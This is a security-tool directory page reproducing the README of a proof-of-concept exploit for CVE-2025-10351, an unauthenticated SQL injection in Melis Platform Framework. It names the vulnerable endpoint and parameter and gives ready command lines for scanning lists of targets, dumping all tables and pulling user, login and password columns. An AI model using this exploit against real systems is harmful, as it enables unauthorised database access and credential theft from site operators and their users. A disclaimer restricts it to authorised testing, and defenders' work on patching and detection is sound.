Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-10351-POC — Exploit for CVE-2025-10351. SQL Injection on Melis Platform Framework | Kitploit
Tools/GitHubGitHub/ivansmc/cve-2025-10351-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubivansmc/cve-2025-10351-poc

CVE-2025-10351-POC

Exploit for CVE-2025-10351. SQL Injection on Melis Platform Framework

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-10351 POC - SQL Injection Exploit 💉

POC for CVE-2025-10351: An unauthenticated SQL Injection vulnerability that affects a specific endpoint in Melis Platform Framework.

status python status


🔗 References

  • 📄 CVE-2025-10351 on MITRE
  • 📄 Melis Platform Warning on INCIBE (Spanish National Cybersecurity Institute)

🚀 Description

This POC targets an unauthenticated error-based SQL injection vulnerability in the endpoint:

root@kitploit:~
melis/MelisCms/PageEdition/getTinyTemplates?idPage=

It leverages updatexml() in MySQL to extract:

  • Table names
  • Column names
  • Data from specific or all columns

It also detects possible time-based SQLi vectors for further manual exploitation.


🛠️ Requirements

Install dependencies with:

root@kitploit:~
pip3 install -r requirements.txt

🧪 Usage

Basic check

root@kitploit:~
python3 CVE-2025-10351-POC.py -u http://target.com -p 80

From URL list

root@kitploit:~
python3 CVE-2025-10351-POC.py -l targets.txt

Extract all table names

root@kitploit:~
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at

Extract all column names from a table

root@kitploit:~
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users

Extract all data from all columns

root@kitploit:~
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac

Extract specific columns

root@kitploit:~
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password

Using proxy with insecure mode, cookies and debug mode

root@kitploit:~
python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug

⚙️ Options


📤 Output

  • Extracted tables saved to tables_extracted.txt
  • Extracted data saved to <table_name>_data.txt

⚠️ Disclaimer

This document is for authorized security testing and remediation only. Do not use the PoC or reproduction steps against systems you do not own or do not have explicit permission to test. The author is not responsible for misuse.


Made with ❤️ by Manuel Iván San Martín Castillo

Download Tool
ArgumentDescription
-uTarget URL
-pPort (80, 443, etc.)
-lFile containing list of URLs
-sSleep time for time-based tests (default: 1s)
-atDump all table names
-tSpecify table name
-acDump all columns of given table
-cComma-separated list of columns to dump
--proxyBurp Proxy http://127.0.0.1:8080
--insecureDisable TLS checks when using proxy connections
--cookieCookies for auth requests
--debugDebug mode